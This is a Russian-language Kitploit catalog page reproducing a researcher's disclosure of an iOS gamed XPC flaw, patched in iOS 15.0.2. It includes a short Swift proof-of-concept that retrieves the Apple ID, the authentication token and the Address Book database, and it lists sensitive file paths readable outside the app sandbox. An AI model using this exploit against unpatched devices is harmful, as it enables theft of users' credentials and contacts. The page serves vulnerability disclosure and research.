Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/illusionofchaos/ios-gamed-0day
Повышение привилегийБезопасность iOSАнализ уязвимостейЭксплуатацияСбор информацииМобильная безопасность
GitHubillusionofchaos/ios-gamed-0day

ios-gamed-0day

iOS gamed эксплойт (исправлено в 15.0.2)

РепозиторийСайт
43681144 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплойт gamed в iOS (исправлено в 15.0.2)

Обновление: Apple незаметно исправила эту уязвимость в iOS 15.0.2 без какого-либо публичного признания или указания авторства.

Любое приложение, установленное из App Store, может получить доступ к следующим данным без какого-либо запроса пользователю:

  • email Apple ID и полное имя, связанные с ним
  • токен аутентификации Apple ID, который позволяет обращаться как минимум к одной из конечных точек на *.apple.com от имени пользователя
  • Полный доступ на чтение к базе данных Core Duet (содержит список контактов из Mail, SMS, iMessage, сторонних мессенджеров и метаданные о всех взаимодействиях пользователя с этими контактами (включая временные метки и статистику), а также некоторые вложения (например, URL и текст))
  • Полный доступ на чтение к базе данных быстрого набора и базе данных Address Book, включая фотографии контактов и другие метаданные, такие как даты создания и изменения (я только что проверил на iOS 15 — этот доступ недоступен, так что, видимо, его тоже незаметно исправили)

Вот краткая proof-of-concept.

let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
	accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
		let appleID = response.credential.accountName
		let token = response.credential.authenticationToken
	}

	utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
		let addressBookData = data
	}
}

Как это происходит:

  • XPC-сервис com.apple.gamed не проверяет должным образом энтайтлмент com.apple.developer.game-center
  • Даже если Game Center отключен на устройстве, вызов getServicesForPID:localPlayer:reply: возвращает несколько XPC-прокси-объектов (GKAccountService, GKFriendService, GKUtilityService и т.д.).
  • Если Game Center включен на устройстве (даже если он не включен для приложения в App Store Connect и приложение не содержит энтайтлмента com.apple.developer.game-center), вызов authenticatePlayerWithExistingCredentialsWithHandler: на GKAccountService возвращает объект, содержащий Apple ID пользователя, DSID и токен аутентификации Game Center (который позволяет отправлять запросы на https://gc.apple.com от имени пользователя). Вызов getProfilesForPlayerIDs:handler: на GKProfileService возвращает объект, содержащий имя и фамилию Apple ID пользователя. Вызов getFriendsForPlayer:handler: на GKFriendService возвращает объект с информацией о друге пользователя в Game Center.
  • Даже если Game Center отключен, не включен для приложения в App Store Connect и приложение не содержит энтайтлмента com.apple.developer.game-center, вызов requestImageDataForURL:subdirectory:fileName:handler: на GKUtilityService позволяет читать произвольные файлы за пределами песочницы приложения, передавая в метод URL-адреса файлов. Среди файлов (но не ограничиваясь ими), к которым можно получить доступ таким образом, следующие: /var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - содержит кэш mobile gestalt /var/mobile/Library/CoreDuet/People/interactionC.db - содержит список контактов из Mail, SMS, iMessage, сторонних мессенджеров и метаданные о взаимодействии пользователя с этими контактами (включая временные метки и статистику) /var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - содержит избранные контакты и их номера телефонов /var/mobile/Library/AddressBook/AddressBook.sqlitedb - содержит полную базу данных Address Book /var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - содержит фотографии контактов Address Book
  • Вызов cacheImageData:inSubdirectory:withFileName:handler: на GKUtilityService может позволить записывать произвольные данные в место за пределами песочницы приложения.

На странице программы Apple Security Bounty эта уязвимость оценивается в 100 000 долларов (широкий доступ приложения к конфиденциальным данным, обычно защищённым запросом TCC или песочницей платформы. «Конфиденциальные данные» включают получение широкого доступа (например, к полной базе данных) к Контактам).

Скачать инструмент